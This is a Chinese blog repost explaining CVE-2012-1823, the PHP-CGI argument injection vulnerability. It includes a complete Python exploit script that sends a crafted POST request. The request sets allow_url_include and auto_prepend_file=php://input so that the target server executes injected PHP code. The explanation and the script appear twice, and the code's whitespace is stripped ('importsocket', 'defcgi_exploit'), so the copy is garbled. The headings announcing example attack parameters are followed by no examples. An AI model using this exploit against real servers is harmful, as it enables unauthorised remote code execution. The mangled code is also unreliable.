PHP-CGI漏洞成因原理剖析和利用
2013-11-12 11:23
197 查看
这篇文章都是2012年发布的,那么这个漏洞应该早解决掉了,今天手上一个站出问题才发现,有这个漏洞的服务器大把的是,网站安全还是非常重要的!先转载一下
PHPCGI漏洞最早由国外安全研究者于近日公开,其实际存在的时间则长达约8年之久。据360网站安全工程师介绍,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数直接执行,目前截获到的攻击主要利用以下PHP参数:
包含本地文件读取内容:
读取PHP源码:
直接执行任意命令:
通过远程包含直接在服务器上执行webshell:
国外黑客公开的测试代码:
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
importsocket
importsys
defcgi_exploit():
pwn_code ="""<?php phpinfo();?>"""
post_Length =len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
"""%(HOST , post_Length ,pwn_code)
printhttp_raw
try:
sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data =sock.recv(10000)
printrepr(data)
sock.close()
exceptsocket.error, msg:
sys.stderr.write("[ERROR] %s\n"%msg[1])
sys.exit(1)
if__name__ =='__main__':
try:
HOST =sys.argv[1]
PORT =sys.argv[2]
cgi_exploit()
exceptIndexError:
print'[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
本文转载自 零柒伍伍网站建设(www.0755wzjs.com) 详文参考:http://www.0755wzjs.com/SEO/160/220.html
PHPCGI漏洞最早由国外安全研究者于近日公开,其实际存在的时间则长达约8年之久。据360网站安全工程师介绍,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数直接执行,目前截获到的攻击主要利用以下PHP参数:
包含本地文件读取内容:
读取PHP源码:
直接执行任意命令:
通过远程包含直接在服务器上执行webshell:
国外黑客公开的测试代码:
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
importsocket
importsys
defcgi_exploit():
pwn_code ="""<?php phpinfo();?>"""
post_Length =len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
"""%(HOST , post_Length ,pwn_code)
printhttp_raw
try:
sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data =sock.recv(10000)
printrepr(data)
sock.close()
exceptsocket.error, msg:
sys.stderr.write("[ERROR] %s\n"%msg[1])
sys.exit(1)
if__name__ =='__main__':
try:
HOST =sys.argv[1]
PORT =sys.argv[2]
cgi_exploit()
exceptIndexError:
print'[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
本文转载自 零柒伍伍网站建设(www.0755wzjs.com) 详文参考:http://www.0755wzjs.com/SEO/160/220.html
相关文章推荐
- PHP-CGI漏洞成因原理剖析和利用
- PHP缓存锁原理及利用
- PHP文件包含漏洞原理分析和利用方法
- Apache环境下PHP利用HTTP缓存协议原理解析及应用分析
- (4) 利用 Setter方式实现 【第一种方式】 依赖注入,编码剖析Spring依赖注入的原理
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP Cookie原理剖析
- 利用PHP生成静态html页面的原理
- 深入剖析php执行原理(4):函数的调用
- php-cgi漏洞利用EXP
- 利用PHP生成静态HTML文档的原理
- PHP session的原理剖析
- PHP文件包含漏洞原理分析和利用方法
- 深入php内核,从底层c语言剖析php实现原理
- php原理全面剖析
- 浅析PHP+MYSQL注射原理及其逐步深入利用
- PHP文件包含漏洞原理分析和利用方法
- 利用php实现图片相似度搜索的简单原理
- PHP文件包含漏洞原理分析和利用方法